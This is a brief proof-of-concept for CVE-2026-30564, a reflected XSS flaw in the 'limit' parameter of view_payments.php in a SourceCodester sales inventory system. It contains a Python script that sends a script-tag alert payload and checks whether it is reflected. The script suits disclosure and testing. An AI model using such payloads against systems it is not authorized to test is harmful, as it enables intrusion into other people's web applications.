CVE-2026-30564 SourceCodester销售库存系统XSS漏洞

# Proof of Concept for CVE-2026-30564 # Vulnerable Parameter: limit in view_payments.php import requests def check_xss(target_url): # The payload attempts to execute a simple JavaScript alert xss_payload = "<script>alert('CVE-2026-30564_XSS')</script>" # Construct the full URL with the vulnerable parameter params = { "limit": xss_payload } try: response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected in the response body if xss_payload in response.text: print("[+] Vulnerability Detected! Payload reflected in response.") print(f"[+] Exploit URL: {response.url}") else: print("[-] Payload not reflected. System might be patched or filtering input.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://localhost/Inventory-System/view_payments.php" check_xss(target)